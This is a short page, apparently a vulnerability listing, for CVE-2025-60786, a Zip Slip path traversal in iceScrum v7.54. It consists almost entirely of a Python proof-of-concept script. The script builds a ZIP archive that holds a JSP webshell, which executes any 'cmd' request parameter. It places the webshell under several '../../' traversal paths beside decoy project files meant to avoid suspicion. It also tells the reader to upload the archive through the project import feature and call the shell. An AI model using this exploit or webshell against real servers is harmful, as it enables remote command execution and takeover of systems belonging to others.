CVE-2025-60786: iceScrum v7.54 Zip Slip路径穿越导致任意代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-60786 PoC - Zip Slip in iceScrum v7.54 # Author: Security Researcher # Description: Generate malicious ZIP file for path traversal exploit import zipfile import os def create_zip_slip_poc(): """ Create a malicious ZIP file with path traversal payload. The payload attempts to write a JSP webshell to the webapps directory. """ # Malicious JSP webshell content webshell_content = '''<%@ page import="java.util.*,java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os=p.getOutputStream();InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>''' output_file = 'CVE-2025-60786_poc.zip' with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zf: # Normal project file to avoid suspicion zf.writestr('project/icescrum.json', '{"name":"Test Project","version":"1.0"}') zf.writestr('project/tasks.json', '{"tasks":[]}') # Path traversal payload - Zip Slip attack # This path attempts to escape the intended extraction directory malicious_path = '../../webapps/icescrum/shell.jsp' zf.writestr(malicious_path, webshell_content) # Alternative paths for different server configurations alternative_paths = [ '../../tomcat/webapps/ROOT/shell.jsp', '../../../tomcat/webapps/ROOT/shell.jsp', '../../icescrum/webapps/shell.jsp' ] for alt_path in alternative_paths: zf.writestr(alt_path, webshell_content) print(f'[+] Created malicious ZIP file: {output_file}') print('[+] Use this file to exploit iceScrum import project feature') print('[+] After upload, access the shell at: /icescrum/shell.jsp?cmd=whoami') if __name__ == '__main__': create_zip_slip_poc()